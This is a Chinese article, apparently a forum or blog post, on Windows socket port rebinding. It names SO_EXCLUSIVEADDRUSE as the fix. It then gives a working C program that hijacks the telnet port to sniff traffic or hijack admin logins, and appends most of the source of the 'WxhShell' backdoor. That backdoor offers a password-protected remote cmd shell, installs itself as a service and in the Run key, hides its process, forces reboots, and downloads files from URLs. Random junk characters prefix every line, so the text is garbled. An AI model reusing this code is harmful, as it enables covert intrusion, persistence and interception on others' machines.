在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
JM-ce8U s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
vMX6Bg8 NC.P2^% saddr.sin_family = AF_INET;
'<&EPUO 3hXmYz( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
r d6F"W Ls>u`hG bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8yWu{'G 5\ w=(c9A 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
.p(6' TYnI R=amKLD? 这意味着什么?意味着可以进行如下的攻击:
=tc`:!$ E/7vIg
F 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~0F9x9V @nx}6?p\, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~1=.?Ho g{v5mly 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
iRUR4Zs T018)WrhL 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2z.8rNwT V%BJNJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
d{2y/ ;<kZfx 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5X `w&(]m b=K6IX; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Db#W/8
a8k qIDWl{b< #include
:kb1}Wu #include
AB2mt:^ #include
h0F0d^W. #include
P /c
Q1 DWORD WINAPI ClientThread(LPVOID lpParam);
Zk/' \(5 int main()
'9-axIj70 {
cuQ7kECV WORD wVersionRequested;
=mKfFeO. DWORD ret;
Q{AZ'XV WSADATA wsaData;
~U"by_ BOOL val;
g[EM]q, SOCKADDR_IN saddr;
mq
J0z4I} SOCKADDR_IN scaddr;
.'^6QST int err;
YPha9M$AgU SOCKET s;
M<{5pH(K SOCKET sc;
! fi &@k int caddsize;
9h:jFhsA9 HANDLE mt;
Lp:Nw4 _ DWORD tid;
nDHHYp wVersionRequested = MAKEWORD( 2, 2 );
H.YIv50E err = WSAStartup( wVersionRequested, &wsaData );
p}YI#f
in/ if ( err != 0 ) {
#Mj$o;SX printf("error!WSAStartup failed!\n");
,7^d9v3t return -1;
r,2Xu }
"x#]i aDjf saddr.sin_family = AF_INET;
S'Z70 zJ dGbU{#"3s //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
2^)D
.& c*x J=Gz6d saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
QKp+;$SE' saddr.sin_port = htons(23);
+cz"`T`X 2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7tpAZ<{ {
MxO
W)$f printf("error!socket failed!\n");
3>-[B`dD( return -1;
y|q@;*rGNa }
jlu`lG*e& val = TRUE;
zmrQf/y{R
//SO_REUSEADDR选项就是可以实现端口重绑定的
Js\-['` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
9J~:m$. {
K1?Z5X(b
printf("error!setsockopt failed!\n");
E4sn[DO return -1;
J)9 AnGWe }
"/ tUA\=j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
wGEWr2$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
CfPXn0I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
V";mWws+?# K #qoR /: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&`9j)3^J. {
e>L5.~i ret=GetLastError();
Nk96"P$P printf("error!bind failed!\n");
Ik`O.Q.} return -1;
iYk':iv}S }
x96qd%l/ listen(s,2);
_PK}rr?"7O while(1)
$Y8>_6%+T {
/xl4ohL$a caddsize = sizeof(scaddr);
.)LZ`Ge3F //接受连接请求
9{_8cpm4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
b;S6'7Jf9 if(sc!=INVALID_SOCKET)
N]B)Fb {
fNmE,~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@SU8 \:(U if(mt==NULL)
X AQGG> {
PT3>E5`N u printf("Thread Creat Failed!\n");
=WIE>*3[ break;
WMW1B}Z3 }
2 ]L=s3 }
(C,e6r Y CloseHandle(mt);
U(U@!G) }
&Fw[YGJayz closesocket(s);
`TUZZz WSACleanup();
T>d\%*Q+B return 0;
C">`' G2 }
hHcJN DWORD WINAPI ClientThread(LPVOID lpParam)
P+[QI
U {
b<[jaI0 SOCKET ss = (SOCKET)lpParam;
?nQ_w0j SOCKET sc;
_b>F#nD,'% unsigned char buf[4096];
):e+dt SOCKADDR_IN saddr;
J!rY
6[t long num;
2zz,(RA DWORD val;
j:7*3@f DWORD ret;
9lKn%|=T //如果是隐藏端口应用的话,可以在此处加一些判断
>xT^RYS //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}$l8d/_$[ saddr.sin_family = AF_INET;
e"]"F{Q saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Eu|sWdmf
l saddr.sin_port = htons(23);
TI}}1ScA' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{S G* {
*D2Nm9sl printf("error!socket failed!\n");
t5xb"F
return -1;
Rv98\VD" }
85'nXYN{d val = 100;
Y=r!2u6r~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*R BV'b {
1j11|~ ret = GetLastError();
VM7 !0 return -1;
$H'8
#:[d_ }
C@1CanL@3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Q8p=!K {
m#JI!_~! ret = GetLastError();
C;9t">prk return -1;
ny)]GvxI }
WE0}$P: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
?]^zD k@~ {
@<2d8ed printf("error!socket connect failed!\n");
98GlhogWt closesocket(sc);
3?Lgtkb8 closesocket(ss);
*.oKI@ return -1;
W;4Lkk$ }
{;*}WPYb while(1)
]bm=LA {
</= CZy5w //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5y]io
Jc9- //如果是嗅探内容的话,可以再此处进行内容分析和记录
>-M ]:=L //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
r088aUO
P num = recv(ss,buf,4096,0);
^5>s7SGB" if(num>0)
$_sYfU9 send(sc,buf,num,0);
C}q>YRubZ else if(num==0)
.jA\f:u# break;
ld.7`) num = recv(sc,buf,4096,0);
joqWh!kv7U if(num>0)
pE2QnNr' send(ss,buf,num,0);
!DPF7x(-{ else if(num==0)
61} i5o break;
/t*YDWLg }
`z9J`r=I closesocket(ss);
#;]2=@ closesocket(sc);
:$?Q D return 0 ;
wd/G|kNO }
`?"6l5d.] fxd0e;NAAh B8 H75sz ==========================================================
k^%2_H bHE7yv [ 下边附上一个代码,,WXhSHELL
\7Qb229? 'f+NW& ==========================================================
)s)_XL =LI:S|[4 #include "stdafx.h"
_1aGtX|W x0A7O #include <stdio.h>
/_)l|<k+V #include <string.h>
IxOc':/jY #include <windows.h>
)1lu=gc #include <winsock2.h>
zC=a3 #include <winsvc.h>
Lu=O+{*8 #include <urlmon.h>
je%l dY]/@ UX2lPgKdLz #pragma comment (lib, "Ws2_32.lib")
hJf2o #pragma comment (lib, "urlmon.lib")
E=AVrv5T jZd}OC< #define MAX_USER 100 // 最大客户端连接数
n*<v]1 #define BUF_SOCK 200 // sock buffer
.po>qb6 #define KEY_BUFF 255 // 输入 buffer
o_f-GO 9 |{%i$ #define REBOOT 0 // 重启
\K7t'20 #define SHUTDOWN 1 // 关机
F}36IM9/: o5!f#Y #define DEF_PORT 5000 // 监听端口
hi|! eh(<m8I #define REG_LEN 16 // 注册表键长度
sZg6@s= #define SVC_LEN 80 // NT服务名长度
)K;]y-Us[ Q9c)k{QZ // 从dll定义API
#H~_K}Ks typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\S ."?!U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
booRrTS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.TpsJXF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
U]R~ gy}# fvqd'2 t // wxhshell配置信息
T2=HG Z struct WSCFG {
P`(Mk6gE int ws_port; // 监听端口
lr~0pL char ws_passstr[REG_LEN]; // 口令
!l 6dg& int ws_autoins; // 安装标记, 1=yes 0=no
N|K4{Frm char ws_regname[REG_LEN]; // 注册表键名
uwmQ?LS]V char ws_svcname[REG_LEN]; // 服务名
TTZe$>f char ws_svcdisp[SVC_LEN]; // 服务显示名
pf&ag#nr char ws_svcdesc[SVC_LEN]; // 服务描述信息
n lGHT char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Fky?\ec int ws_downexe; // 下载执行标记, 1=yes 0=no
D-&an@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]s_8A`vm char ws_filenam[SVC_LEN]; // 下载后保存的文件名
H'DVwnn>ik ,<`)>2 'o };
)OP){/ 8e&p\%1 // default Wxhshell configuration
S,{tV=&m] struct WSCFG wscfg={DEF_PORT,
]Oeh=gq "xuhuanlingzhe",
h4)Bs\==mT 1,
[XR$F@o "Wxhshell",
xZ .!d.rn "Wxhshell",
np9dM "WxhShell Service",
MYdO jcN "Wrsky Windows CmdShell Service",
`<frgXu64 "Please Input Your Password: ",
[f/I2 1,
-c*\o3) "
http://www.wrsky.com/wxhshell.exe",
swcd&~9r "Wxhshell.exe"
>IfV\w32 };
ZDt?j k N7Bd} // 消息定义模块
Bc5+ss char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
vXE0%QE'Q char *msg_ws_prompt="\n\r? for help\n\r#>";
&,:h) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
`A@w7J' char *msg_ws_ext="\n\rExit.";
9902+pW char *msg_ws_end="\n\rQuit.";
5's~>up& char *msg_ws_boot="\n\rReboot...";
l'[A?%L%{ char *msg_ws_poff="\n\rShutdown...";
pG3k char *msg_ws_down="\n\rSave to ";
m Y,|J\w@ ?-)I+EAnE char *msg_ws_err="\n\rErr!";
U7h(`b char *msg_ws_ok="\n\rOK!";
B1!kn}KlL{ x;s0j"`Jb char ExeFile[MAX_PATH];
lLhL`C! int nUser = 0;
<0P5 o| HANDLE handles[MAX_USER];
O`[aU%4b int OsIsNt;
iUi>y.}"P O+q/4 SERVICE_STATUS serviceStatus;
Kn`M4O SERVICE_STATUS_HANDLE hServiceStatusHandle;
~`ny@WD9 };L ^w: // 函数声明
cVnJ^*Z int Install(void);
/] ^#b int Uninstall(void);
AIYmS#V1W2 int DownloadFile(char *sURL, SOCKET wsh);
WJH\~<{mP int Boot(int flag);
!]yO^Ob.E void HideProc(void);
KngTc(^_D int GetOsVer(void);
942lSyix int Wxhshell(SOCKET wsl);
=q7Z qP void TalkWithClient(void *cs);
j=RRfFg) int CmdShell(SOCKET sock);
o\b- _E5"? int StartFromService(void);
{i0SS int StartWxhshell(LPSTR lpCmdLine);
]:M0Kj&h MK#wut VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
MRNNG6TUs VOID WINAPI NTServiceHandler( DWORD fdwControl );
ED>prE0 tJViA`@x // 数据结构和表定义
i:]*P SERVICE_TABLE_ENTRY DispatchTable[] =
/AY4M;}p {
F,BOgWwP {wscfg.ws_svcname, NTServiceMain},
HBS\<} {NULL, NULL}
}@ Z56 };
a' Ki;]q }je,")#W // 自我安装
S-Y=-" int Install(void)
~}EMk 3 {
\wcam`f char svExeFile[MAX_PATH];
{%lXY Myu HKEY key;
bV+(b9 strcpy(svExeFile,ExeFile);
)L{ghy K_)eWf0a // 如果是win9x系统,修改注册表设为自启动
i':ydDOOHA if(!OsIsNt) {
58\&/lYW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XR2~Q)@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
TxjYrzC RegCloseKey(key);
nRL. ppUI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
x+ncc_2n&D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_.IxRk)T RegCloseKey(key);
gI^oU4mq return 0;
BS Iy+ }
%,Sf1fUJ }
3s\.cG?`r }
[FA{x?vkf else {
c\B|KhDk X[
q+619 // 如果是NT以上系统,安装为系统服务
3vhnwDcK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"k*PA\U if (schSCManager!=0)
"Ve.cP,7( {
5pr"d@. SC_HANDLE schService = CreateService
;<yd^Xs (
X[`bMa7IB( schSCManager,
k.("3R6v: wscfg.ws_svcname,
\$0F-=w`8 wscfg.ws_svcdisp,
`>0MNmu SERVICE_ALL_ACCESS,
B`*ZsS=R- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5;0g!&-t# SERVICE_AUTO_START,
@KX
\Er SERVICE_ERROR_NORMAL,
(" LQll9 svExeFile,
+a-6Q ~ NULL,
];.pK NULL,
'!l1=cZD NULL,
4wC+S9I#E^ NULL,
l^ZI* z7N NULL
/VmR<C?h );
R\o<7g-| if (schService!=0)
yFDv6yJ. {
I}Nd$P)> CloseServiceHandle(schService);
_ZY)M CloseServiceHandle(schSCManager);
HGm 3+, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6qcO?U strcat(svExeFile,wscfg.ws_svcname);
@-UL`+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.>Ljnk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
DXz}YIEC RegCloseKey(key);
H*#s
}9=kZ return 0;
fRg`UI4w} }
*`ZH` V }
q _-7i CloseServiceHandle(schSCManager);
n6s}ww) }
n1!?"m! }
*OuStr \o Cmc3k,t return 1;
foJdu+^ }
,9WBTH8 aW>6NDq( // 自我卸载
bh^LIU int Uninstall(void)
,-7R(iMd {
9Xx's%U HKEY key;
m(pE5B( EwOV;>@T? if(!OsIsNt) {
V(Ub!n:j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.e_cgad : RegDeleteValue(key,wscfg.ws_regname);
&f&z_WU RegCloseKey(key);
J_s>N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
LX^u_Iu RegDeleteValue(key,wscfg.ws_regname);
u_ABt?' RegCloseKey(key);
H54R8O$ return 0;
v4C{<8:X }
5 ~TdD6} }
[Q=dCX9% }
ABUSTf< else {
bV ZMW/w ],P;WPU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
v{}#?=I5 if (schSCManager!=0)
<=f}8a.R3 {
9K9DF1SOa SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
oWYmj=D~2z if (schService!=0)
a'z) {
+nJUFc if(DeleteService(schService)!=0) {
:=J,z,H_U CloseServiceHandle(schService);
=$]uoA CloseServiceHandle(schSCManager);
d/i`l* return 0;
&197P7&o }
xQUu|gtL4 CloseServiceHandle(schService);
!Q#{o^{Y~ }
lT(oL|{#P CloseServiceHandle(schSCManager);
K_dOq68_ }
kT;S4B }
0qX3v<+[6 *4V=z# return 1;
lV%N }
hiQha5 V7/I>^X // 从指定url下载文件
Q[nEsYP int DownloadFile(char *sURL, SOCKET wsh)
iezO9` {
gG/!,Q.Qh HRESULT hr;
fMOU$0]$< char seps[]= "/";
R~Ne|V2 char *token;
y- 1 pR char *file;
j$+nKc$ char myURL[MAX_PATH];
TA{\PKA) char myFILE[MAX_PATH];
5H ue7'LS 8 XU1/i7N strcpy(myURL,sURL);
>Q(3*d > token=strtok(myURL,seps);
3+XOZh8 while(token!=NULL)
3`k;a1Z#O' {
Zl*X?5u file=token;
KQ~i<1&j token=strtok(NULL,seps);
7AObC4 g }
[i]Ub0Dh7 SLh(9%S; GetCurrentDirectory(MAX_PATH,myFILE);
/kfgx{jZ strcat(myFILE, "\\");
@;'o2 strcat(myFILE, file);
C+TI]{t send(wsh,myFILE,strlen(myFILE),0);
P'`r send(wsh,"...",3,0);
\_lod kf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
m}X`> aD/ if(hr==S_OK)
1;{Rhu7*
k return 0;
vvm0t"|\ else
|9B.mBoX return 1;
m%76i;uP 8?%-'z. }
7x@A%2J
YxP&7oq // 系统电源模块
7(5
4/ int Boot(int flag)
q}]XYys {
62Z#YQ}x HANDLE hToken;
[Nk3|u`h TOKEN_PRIVILEGES tkp;
)Q.>rX,F 5=Di<! a; if(OsIsNt) {
-YCOP0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9T1ZL5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
u,UmrR tkp.PrivilegeCount = 1;
|]c8jG\h tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
DK$s&zf AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
$fzaPD4. if(flag==REBOOT) {
f\jLqZY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
G%s2P.cd return 0;
Iu <?&9t }
F F|FU< else {
!7kG!)40 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(_"*NY0 return 0;
T7#W0^tj }
07[_.i.l }
o}$EG else {
2* 2wY = if(flag==REBOOT) {
}yz (xH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Jl&-,Vjb return 0;
W' s }
3J5!oF{H else {
'JRvP!] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`tn{ei return 0;
D8xmE2% }
1 A\OC }
H(Z88.OM MerFZd 1 return 1;
/@,j232 }
]4pkcV
P @CT;g\4 // win9x进程隐藏模块
@g&ct>@y void HideProc(void)
8/=L2fNN[ {
zlEX+=3 ,=#F// HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
+Nt2
+Y:O if ( hKernel != NULL )
}3OKC2K~ {
W;,C_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
wwyPl ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
6e[VgN-s FreeLibrary(hKernel);
"t~ }
;oy-#p>N% ])nPPf return;
Y4v|ko`l% }
OR;uqV@ o}* hY"& // 获取操作系统版本
3G(miP6 int GetOsVer(void)
%y@Hh= {
p{j.KI s7 OSVERSIONINFO winfo;
[m|YWT= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~4 `5tb GetVersionEx(&winfo);
U15H@h if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
uLWh| return 1;
Bq$rf < W else
t({W
[JL return 0;
D?NbW @] }
#6CC3TJ'k [D<1CF // 客户端句柄模块
C,NJb+J int Wxhshell(SOCKET wsl)
/JWGifH {
7eV
di* SOCKET wsh;
;e1ku|>$ struct sockaddr_in client;
M)2VcDy DWORD myID;
opc/e b)e
*$) while(nUser<MAX_USER)
[O?z@)dx {
5nKj
)RH7M int nSize=sizeof(client);
xo&]$W8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$7rq3y if(wsh==INVALID_SOCKET) return 1;
!Ikt '5/ ]% IT|/;9Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(adyZ/j if(handles[nUser]==0)
F;7dt@5; closesocket(wsh);
7G/1VeVjB else
Pc
NkAo nUser++;
YJJB.hR+ }
QmCe>+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Yq%9M=#k <gQIq{B? return 0;
IrqZi1 }
):b$xNn fmb} 2h // 关闭 socket
!qM=a3 void CloseIt(SOCKET wsh)
@tZ&2RY1 {
@Bf%s(Uj+ closesocket(wsh);
`Ch9~*p nUser--;
Q+W1lv8R ExitThread(0);
SV~cJ]F }
q)^Jj?W A m>cd; // 客户端请求句柄
VB,?Mo}R void TalkWithClient(void *cs)
4}eepJOn {
qa0 yg8,< $>u*}X9 SOCKET wsh=(SOCKET)cs;
{z")7g ]l char pwd[SVC_LEN];
{l/-LZ. char cmd[KEY_BUFF];
2kIa*#VOJ char chr[1];
7Z-O_h3;)@ int i,j;
Vv.|br`;} 2C9V|[U, while (nUser < MAX_USER) {
br":y>=, {;:/-0s if(wscfg.ws_passstr) {
w-t8C=Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
xT+zU} z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
B#.L //ZeroMemory(pwd,KEY_BUFF);
!g(KK|`,m i=0;
[&#/]Ul' while(i<SVC_LEN) {
l%1!a woD>!r>) // 设置超时
j ~1B|,H fd_set FdRead;
Zf65`K3 struct timeval TimeOut;
D0%Ug> FD_ZERO(&FdRead);
o1h={ao FD_SET(wsh,&FdRead);
.U?'i< TimeOut.tv_sec=8;
OslL~< TimeOut.tv_usec=0;
JU^lyi! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]Zyur` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
dAkgR~ @jsDq
Ln if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Z(ACc9k6:' pwd
=chr[0]; `O[};3O&
if(chr[0]==0xd || chr[0]==0xa) { =1 Oj*x@*4
pwd=0; LYaZ1*
break; 7]||UuF<
} 'Pn3%&O$
i++; -8j+s}Q
} ,u`YT%&L
Od5JG .]
// 如果是非法用户,关闭 socket q(2K6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AigS!-
} S/ODqL|
I~Zh@d%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w6{TE(]zp
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y[$!`);Ye
\8?Tdx=
while(1) { * Of4o
Z`KC%!8K
ZeroMemory(cmd,KEY_BUFF); Nz],IG.
f-E("o
// 自动支持客户端 telnet标准 t 0|!(3
j=0; oIb|*gX^
while(j<KEY_BUFF) { Vc2A
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n3D;"a3
cmd[j]=chr[0]; d[V;&U
if(chr[0]==0xa || chr[0]==0xd) { qx4I_%
cmd[j]=0; IbP#_Vt
break; |,!IZ-
th
} Ux}(?Z
j++; B hp-jq'!B
} _PlKhv}
)Cc q4i
// 下载文件 Z3&_
if(strstr(cmd,"http://")) { w &(|e <
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f=mZu1(FZ
if(DownloadFile(cmd,wsh)) 2|}+T6_q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qpE&go=k'
else 5Drq9B9;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6T#+V37
} '4|-9M3f
else { }9W4"e 2)
#R.-KUW:
switch(cmd[0]) { }#Qc \eud
Y#lk6
// 帮助 7U2J xE
case '?': { =yyp?WmC8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bb}fj28
break; A3iFI9Iv
} }`,t$NV`
// 安装 "huFA|`
case 'i': { dK2p7xo
if(Install()) 4*cU<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #[`:'e
else vWf;
'j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); li 6%)
break; @qnD=mE
} 6w(6}m.L^
// 卸载 U}PiY"S<
case 'r': { _G.>+!"2/
if(Uninstall()) !qN||mCH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "G@g" gP
else mM-8+H?~b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ktdW`R\+
break; @p NNq
} X7i/fm{l'
// 显示 wxhshell 所在路径 kT!9`S\
case 'p': { pFHz"]
char svExeFile[MAX_PATH]; 7El[ >
strcpy(svExeFile,"\n\r"); t[oT-r
strcat(svExeFile,ExeFile); ZObhF#Y9
send(wsh,svExeFile,strlen(svExeFile),0); t{WzKy
break; O2BDL1o
} iIq)~e/ Z
// 重启 vc+A RgvH+
case 'b': { 8qEVOZjV&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qh2ON>e;
if(Boot(REBOOT)) mHBnC&-/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qAS qscO
else { d~`x )B(
closesocket(wsh); ZO)S`W
ExitThread(0); E8n)}[k!0
} D*F4it.
break; H+ 0$tHi
} isZA oYVu
// 关机 'toa@5
case 'd': { nx^]>w
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B{C??g8/
if(Boot(SHUTDOWN)) n>^Y$yy}!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PV4(hj
else { yLdVd
P
closesocket(wsh); $}=krz:r
ExitThread(0); (s7;^)}zx
} lobGj8uxq
break; 75T7+:p
} B,@c;K
// 获取shell ]):<ZsT
case 's': { 5i1>I=N
CmdShell(wsh); mqAWL:VvQ7
closesocket(wsh); :xh?eN&
ExitThread(0); d_)o
break; ,>eMG=C; g
} elG<k%/2
// 退出 Y))u&*RuT0
case 'x': { `9uB~LY^i
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wm$}Pch
CloseIt(wsh); 1I<rXY(a`
break; {6c2{@
} r!HwXeEn/
// 离开 5c^Z/
Jl$c
case 'q': { u
a~CEs
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5KDGSo
closesocket(wsh); ""1^k2fj
WSACleanup(); bBS,-vN
exit(1); p Wt)
A
break; ;+<&8.=,)
} 1!1beR]
} =RAh|e
} ALNc'MW!
-Gw$#!
// 提示信息 j|/]#@Yr
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O km{Xx
} 5K<5kHpvJ{
} ni6{pK4Wqm
zSSB>D
return; @*Wh
} .Y3pS/VI
z(fAnn
T?
// shell模块句柄 +S R+x/?z
int CmdShell(SOCKET sock) kRTwaNDOD
{ f~dd3m('
STARTUPINFO si; @Q^P{
ZeroMemory(&si,sizeof(si)); >9q&PEc
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &Ibu>di4[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (A?H1 9
PROCESS_INFORMATION ProcessInfo; |kvC
H<F'
char cmdline[]="cmd"; ewfP G,S
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PB/IFsJ
return 0; Qum9A
} $P(v{W)
Q`rF&)Q5
// 自身启动模式 phn9:{TI
int StartFromService(void) &s$(g~ 4gC
{ .GsO.#p{
typedef struct ;B?DfWX
{ dd\n8f
DWORD ExitStatus; EvWzq%z
l
DWORD PebBaseAddress; 5o6>T!
DWORD AffinityMask; <HJl2p N
DWORD BasePriority; "=+7-`
ULONG UniqueProcessId; lNL6M%e$Q
ULONG InheritedFromUniqueProcessId; j8fpj {hp
